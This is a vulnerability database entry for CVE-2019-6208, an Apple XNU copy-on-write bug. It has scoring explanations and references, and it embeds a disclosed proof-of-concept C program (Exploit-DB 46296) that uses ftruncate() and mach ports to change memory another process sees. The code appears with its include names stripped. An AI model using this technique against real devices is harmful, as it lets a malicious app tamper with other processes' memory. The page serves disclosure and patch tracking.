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CVE-2019-6208 : Detail

CVE-2019-6208

5.5
/
MEDIUM
0.22%V3
Local
2019-03-05 15:00 +00:00
2019-03-06 09:57 +00:00
CVE.org
NVD

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Descriptions

A memory initialization issue was addressed with improved memory handling. This issue is fixed in iOS 12.1.3, macOS Mojave 10.14.3, tvOS 12.1.2. A malicious application may cause unexpected changes in memory shared between processes.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-665 Improper Initialization
The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Metrics

Metric Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46296

Publication date : 2019-01-30 23:00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* XNU has various interfaces that permit creating copy-on-write copies of data between processes, including out-of-line message descriptors in mach messages. It is important that the copied memory is protected against later modifications by the source process; otherwise, the source process might be able to exploit double-reads in the destination process. This copy-on-write behavior works not only with anonymous memory, but also with file mappings. This means that, if the filesystem mutates the file contents (e.g. because the ftruncate() syscall was used), the filesystem must inform the memory management subsystem so that affected pages can be deduplicated. If this doesn't happen, that's a security bug. ubc_setsize_ex() roughly has the following logic: Step 1: If the file grows or stays at the same size, do nothing and return. Step 2: If the new file size is not divisible by the page size, zero out the end of the page that is now at the end of the file. Step 3: If there are pages that were previously part of the file but aren't anymore, tell the memory management subsystem to invalidate them. Step 4: Return. Step 2 is implemented as follows: =========== /* * new EOF ends up in the middle of a page * zero the tail of this page if it's currently * present in the cache kret = ubc_create_upl_kernel(vp, lastpg, PAGE_SIZE, &upl, &pl, UPL_SET_LITE, VM_KERN_MEMORY_FILE); if (kret != KERN_SUCCESS) panic("ubc_setsize: ubc_create_upl (error = %d)\n", kret); if (upl_valid_page(pl, 0)) cluster_zero(upl, (uint32_t)lastoff, PAGE_SIZE - (uint32_t)lastoff, NULL); ubc_upl_abort_range(upl, 0, PAGE_SIZE, UPL_ABORT_FREE_ON_EMPTY); =========== Call graph: ubc_create_upl_kernel(uplflags=UPL_SET_LITE) -> memory_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL) -> vm_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL) vm_object_upl_request() can perform COW deduplication, but only if the UPL_WILL_MODIFY flag is set, which isn't set here. A simple testcase: =========== $ cat buggycow2.c #include #include #include #include #include #include #include int main(void) { setbuf(stdout, NULL); int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0600); if (fd == -1) err(1, "open"); if (ftruncate(fd, 0x4000)) err(1, "ftruncate 1"); char *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); *(unsigned int *)(mapping + 0x3000) = 0x41414141; pointer_t cow_mapping; mach_msg_type_number_t cow_mapping_size; if (vm_read(mach_task_self(), (vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read"); if (cow_mapping_size != 0x4000) errx(1, "vm read size"); printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000)); if (ftruncate(fd, 0x3001)) err(1, "ftruncate 2"); printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000)); } $ cc -o buggycow2 buggycow2.c $ ./buggycow2 orig: 0x41414141 cow: 0x41414141 orig: 0x41 cow: 0x41 $ =========== To demonstrate that this also works with out-of-line memory sent over mach ports, I am attaching a more complicated PoC that was mostly written by Ian. It sends an out-of-line descriptor over a mach port, then changes the memory seen by the recipient. Usage: =========== $ cc -o mach_truncate_poc mach_truncate_poc.c $ ./mach_truncate_poc [+] child got stashed port [+] child sent hello message to parent over shared port [+] parent received hello message from child [+] child restored stolen port [+] file created [+] child sent message to parent [+] parent got an OOL descriptor for 4000 bytes, mapped COW at: 0x10c213000 [+] parent reads: 41414141 [+] telling child to try to change what I see! [+] child received ping to start trying to change the OOL memory! [+] child called ftruncate() [+] parent got ping message from child, lets try to read again... [+] parent reads: 00000041 $ =========== The simple testcase was tested on 10.14.1 18B75. */ #define RAM_GB 16ULL #define SIZE ((RAM_GB+4ULL) * 1024ULL * 1024ULL * 1024ULL) #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MACH_ERR(str, err) do { \ if (err != KERN_SUCCESS) { \ mach_error("[-]" str "\n", err); \ exit(EXIT_FAILURE); \ } \ } while(0) #define FAIL(str) do { \ printf("[-] " str "\n"); \ exit(EXIT_FAILURE); \ } while (0) #define LOG(str) do { \ printf("[+] " str"\n"); \ } while (0) /*************** * port dancer * ***************/ // set up a shared mach port pair from a child process back to its parent without using launchd // based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html // mach message for sending a port right typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t port; } port_msg_send_t; // mach message for receiving a port right typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t port; mach_msg_trailer_t trailer; } port_msg_rcv_t; typedef struct { mach_msg_header_t header; } simple_msg_send_t; typedef struct { mach_msg_header_t header; mach_msg_trailer_t trailer; } simple_msg_rcv_t; #define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT // a copy in the parent of the stolen special port such that it can be restored mach_port_t saved_special_port = MACH_PORT_NULL; // the shared port right in the parent mach_port_t shared_port_parent = MACH_PORT_NULL; void setup_shared_port() { kern_return_t err; // get a send right to the port we're going to overwrite so that we can both // restore it for ourselves and send it to our child err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port); MACH_ERR("saving original special port value", err); // allocate the shared port we want our child to have a send right to err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &shared_port_parent); MACH_ERR("allocating shared port", err); // insert the send right err = mach_port_insert_right(mach_task_self(), shared_port_parent, shared_port_parent, MACH_MSG_TYPE_MAKE_SEND); MACH_ERR("inserting MAKE_SEND into shared port", err); // stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent); MACH_ERR("setting special port", err); } mach_port_t recover_shared_port_child() { kern_return_t err; // grab the shared port which our parent stashed somewhere in the special ports mach_port_t shared_port_child = MACH_PORT_NULL; err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child); MACH_ERR("child getting stashed port", err); LOG("child got stashed port"); // say hello to our parent and send a reply port so it can send us back the special port to restore // allocate a reply port mach_port_t reply_port; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); MACH_ERR("child allocating reply port", err); // send the reply port in a hello message simple_msg_send_t msg = {0}; msg.header.msgh_size = sizeof(msg); msg.header.msgh_local_port = reply_port; msg.header.msgh_remote_port = shared_port_child; msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); err = mach_msg_send(&msg.header); MACH_ERR("child sending task port message", err); LOG("child sent hello message to parent over shared port"); // wait for a message on the reply port containing the stolen port to restore port_msg_rcv_t stolen_port_msg = {0}; err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); MACH_ERR("child receiving stolen port\n", err); // extract the port right from the message mach_port_t stolen_port_to_restore = stolen_port_msg.port.name; if (stolen_port_to_restore == MACH_PORT_NULL) { FAIL("child received invalid stolen port to restore"); } // restore the special port for the child err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore); MACH_ERR("child restoring special port", err); LOG("child restored stolen port"); return shared_port_child; } mach_port_t recover_shared_port_parent() { kern_return_t err; // restore the special port for ourselves err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port); MACH_ERR("parent restoring special port", err); // wait for a message from the child on the shared port simple_msg_rcv_t msg = {0}; err = mach_msg(&msg.header, MACH_RCV_MSG, 0, sizeof(msg), shared_port_parent, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); MACH_ERR("parent receiving child hello message", err); LOG("parent received hello message from child"); // send the special port to our child over the hello message's reply port port_msg_send_t special_port_msg = {0}; special_port_msg.header.msgh_size = sizeof(special_port_msg); special_port_msg.header.msgh_local_port = MACH_PORT_NULL; special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port; special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX; special_port_msg.body.msgh_descriptor_count = 1; special_port_msg.port.name = saved_special_port; special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND; special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR; err = mach_msg_send(&special_port_msg.header); MACH_ERR("parent sending special port back to child", err); return shared_port_parent; } /*** end of port dancer code ***/ struct ool_send_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_descriptor_t desc; }; struct ool_rcv_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_descriptor_t desc; mach_msg_trailer_t trailer; }; struct ping_send_msg { mach_msg_header_t hdr; }; struct ping_rcv_msg { mach_msg_header_t hdr; mach_msg_trailer_t trailer; }; void do_child(mach_port_t shared_port) { kern_return_t err; // create a reply port to receive an ack that we should truncate the file mach_port_t reply_port; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); MACH_ERR("child allocating reply port", err); // create a file that is a few pages big int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0666); if (fd == -1) FAIL("create testfile"); if (ftruncate(fd, 0x4000)) FAIL("resize testfile"); LOG("file created"); void* mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) FAIL("mmap created file"); *(unsigned int *)mapping = 0x41414141; struct ool_send_msg msg = {0}; msg.hdr.msgh_size = sizeof(msg); msg.hdr.msgh_local_port = reply_port; msg.hdr.msgh_remote_port = shared_port; msg.hdr.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND) | MACH_MSGH_BITS_COMPLEX; msg.body.msgh_descriptor_count = 1; msg.desc.type = MACH_MSG_OOL_DESCRIPTOR; msg.desc.copy = MACH_MSG_VIRTUAL_COPY; msg.desc.deallocate = 0; msg.desc.address = mapping; msg.desc.size = 0x4000; err = mach_msg_send(&msg.hdr); MACH_ERR("child sending OOL message", err); LOG("child sent message to parent"); // wait for an ack to change the file: struct ping_rcv_msg ping_rcv = {0}; ping_rcv.hdr.msgh_size = sizeof(ping_rcv); ping_rcv.hdr.msgh_local_port = reply_port; err = mach_msg_receive(&ping_rcv.hdr); MACH_ERR("child receiving ping to change OOL memory", err); LOG("child received ping to start trying to change the OOL memory!"); // trigger the bug by calling ftruncate() if (ftruncate(fd, 1)) FAIL("truncate file to trigger bug"); LOG("child called ftruncate()"); // send a message to read again: struct ping_send_msg ping = {0}; ping.hdr.msgh_size = sizeof(ping); ping.hdr.msgh_remote_port = shared_port; ping.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); err = mach_msg_send(&ping.hdr); MACH_ERR("parent sending ping to child", err); // spin and let our parent kill us while(1){;} } void do_parent(mach_port_t shared_port) { kern_return_t err; // wait for our child to send us an OOL message struct ool_rcv_msg msg = {0}; msg.hdr.msgh_local_port = shared_port; msg.hdr.msgh_size = sizeof(msg); err = mach_msg_receive(&msg.hdr); MACH_ERR("parent receiving child OOL message", err); volatile uint32_t* parent_cow_mapping = msg.desc.address; uint32_t parent_cow_size = msg.desc.size; printf("[+] parent got an OOL descriptor for %x bytes, mapped COW at: %p\n", parent_cow_size, (void*) parent_cow_mapping); printf("[+] parent reads: %08x\n", *parent_cow_mapping); LOG("telling child to try to change what I see!"); mach_port_t parent_to_child_port = msg.hdr.msgh_remote_port; struct ping_send_msg ping = {0}; ping.hdr.msgh_size = sizeof(ping); ping.hdr.msgh_remote_port = parent_to_child_port; ping.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); err = mach_msg_send(&ping.hdr); MACH_ERR("parent sending ping to child", err); // wait until we should try to read again: struct ping_rcv_msg ping_rcv = {0}; ping_rcv.hdr.msgh_size = sizeof(ping_rcv); ping_rcv.hdr.msgh_local_port = shared_port; err = mach_msg_receive(&ping_rcv.hdr); MACH_ERR("parent receiving ping to try another read", err); LOG("parent got ping message from child, lets try to read again..."); printf("[+] parent reads: %08x\n", *parent_cow_mapping); } int main(int argc, char** argv) { setup_shared_port(); pid_t child_pid = fork(); if (child_pid == -1) { FAIL("forking"); } if (child_pid == 0) { mach_port_t shared_port_child = recover_shared_port_child(); do_child(shared_port_child); } else { mach_port_t shared_port_parent = recover_shared_port_parent(); do_parent(shared_port_parent); } kill(child_pid, 9); int status; wait(&status); return 0; }

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 12.1.3

Apple>>Mac_os_x >> Version To (excluding) 10.14.3

Apple>>Tv_os >> Version To (excluding) 12.1.2

    References

    http://www.securityfocus.com/bid/106695
    Tags : vdb-entry, x_refsource_BID
    https://support.apple.com/HT209446
    Tags : x_refsource_CONFIRM
    https://support.apple.com/HT209443
    Tags : x_refsource_CONFIRM
    https://www.exploit-db.com/exploits/46296/
    Tags : exploit, x_refsource_EXPLOIT-DB
    https://support.apple.com/HT209447
    Tags : x_refsource_CONFIRM

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